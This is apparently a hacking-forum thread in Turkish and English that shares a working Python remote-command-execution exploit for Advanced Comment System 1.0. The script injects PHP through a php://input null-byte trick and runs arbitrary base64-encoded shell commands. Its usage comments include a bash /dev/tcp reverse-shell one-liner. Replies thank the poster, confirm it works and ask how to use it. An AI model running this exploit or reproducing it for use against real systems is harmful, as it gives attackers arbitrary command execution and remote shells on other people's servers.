Advanced Comment System 1.0 - Remote Command Execution Exploit

Durum
Üzgünüz bu konu cevaplar için kapatılmıştır...
Banlı Üye
Katılım
2 Ara 2021
Mesajlar
28
Tepki puanı
16
Yaş
23
4 HİZMET YILI
Python:
# Exploit Title: Advanced Comment System 1.0 - Remote Command Execution (RCE)
# Version: Advanced Comment System 1.0
# Tested on: Linux
 
#!/usr/bin/env python3
 
# DESCRIPTION:
# Commands are Base64 encoded and sent via POST requests to the vulnerable application, the
# response is filtered by the randomly generated alphanumeric string and only command output
# is displayed.
#
# USAGE:
# Execute the script and pass the command to execute as arguments, they can be quoted or unquoted
# If any special characters are used, they should be quoted with single quotes.
#
# Example:
#
#    python3 acspoc.py uname -a
#    python3 acspoc.py 'bash -i >& /dev/tcp/127.0.0.1/4444 0>&1'
 
import sys
import base64
import requests
import random
 
def generate_string(size):
    str = "ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789"
    return ''.join(random.choice(str) for i in range(size))
 
def exploit(cmd):
 
    # TODO: Change the URL to the target host
    url = 'http://127.0.0.1/advanced_comment_system/index.php'
 
    headers = {'Content-Type': 'application/x-www-form-urlencoded'}
 
    encoded_cmd = base64.b64encode(cmd)
 
    delimiter = generate_string(6).encode()
 
    body = b'ACS_path=php://input%00&cbcmd='
    body += encoded_cmd
    body += b'&<?php echo " '
    body += delimiter
    body += b': ".shell_exec(base64_decode($_REQUEST["cbcmd"])); die ?>'
 
    try:
        result = requests.post(url=url, headers=headers, data=body)
    except KeyboardInterrupt:
        print("Keyboard interrupt detected.")
        sys.exit()
 
    if f'{delimiter.decode()}: ' in result.text:
        position = result.text.find(f"{delimiter.decode()}:") + len(f"{delimiter.decode()}: ")
 
        if len(result.text[position:]) > 0:
            print(result.text[position:])
        else:
            print(f"No output from command '{cmd.decode()}'")
            print(f"Response size from target host: {len(result.text)} bytes")
 
if __name__ == "__main__":
    exploit(' '.join(sys.argv[1:]).encode())
 
Bad Boy
Seçkin Üye
Katılım
16 Haz 2020
Mesajlar
466
Çözümler
2
Tepki puanı
79
Ödüller
6
5 HİZMET YILI
that's great effort from u i don't use Linux but if i m using it this would be helpful
 
Onaylı Üye
Katılım
17 Nis 2019
Mesajlar
99
Tepki puanı
6
Ödüller
4
Yaş
25
Sosyal
7 HİZMET YILI
I was searching for it. Thank you!
 
Brasileiro americanizado and glad to help you
Süper Üye
Katılım
15 May 2020
Mesajlar
644
Çözümler
4
Tepki puanı
55
Ödüller
5
Yaş
26
6 HİZMET YILI
working fine, thanks
 
Uzman Üye
Katılım
2 Ara 2018
Mesajlar
193
Çözümler
2
Tepki puanı
12
Ödüller
6
7 HİZMET YILI
that's old but useful anyway
 
Why so Serious
Seçkin Üye
Katılım
27 Kas 2021
Mesajlar
477
Çözümler
2
Tepki puanı
59
Ödüller
3
4 HİZMET YILI
how to ues ?
 
Moderatörün son düzenlenenleri:
Shinigami
Süper Üye
Katılım
9 Eyl 2020
Mesajlar
603
Çözümler
2
Tepki puanı
79
Ödüller
6
Yaş
27
5 HİZMET YILI
if you're asking how to use then you're already starting badly here x)
throwback to using this, still usefull ngl
 
Süper Üye
Katılım
17 Kas 2018
Mesajlar
864
Çözümler
10
Tepki puanı
159
Ödüller
6
Yaş
28
7 HİZMET YILI
Thanks man this is actually useful.
 
Moderatörün son düzenlenenleri:
Üye
Katılım
2 Ara 2021
Mesajlar
35
Tepki puanı
4
Yaş
31
4 HİZMET YILI
Thanks dude! Still useful.
 
Moderatörün son düzenlenenleri:
Seçkin Üye
Katılım
12 Ağu 2020
Mesajlar
311
Çözümler
7
Tepki puanı
71
Ödüller
4
Yaş
28
5 HİZMET YILI
This is really valuable.
 
Moderatörün son düzenlenenleri:
𝓖𝓞 𝓣𝓞 𝓣𝓗𝓔 𝓜𝓞𝓞𝓝
Süper Üye
Katılım
15 Mar 2018
Mesajlar
630
Çözümler
13
Tepki puanı
105
Ödüller
9
8 HİZMET YILI
I'll try to use it
 
Moderatörün son düzenlenenleri:
Seçkin Üye
Katılım
21 Ağu 2021
Mesajlar
590
Çözümler
1
Tepki puanı
10
Yaş
30
4 HİZMET YILI
working like charm, thanks bro
 
Süper Üye
Katılım
15 Nis 2020
Mesajlar
653
Çözümler
2
Tepki puanı
37
Ödüller
5
Sosyal
6 HİZMET YILI
did you copy that from externaldb or something
 
Durum
Üzgünüz bu konu cevaplar için kapatılmıştır...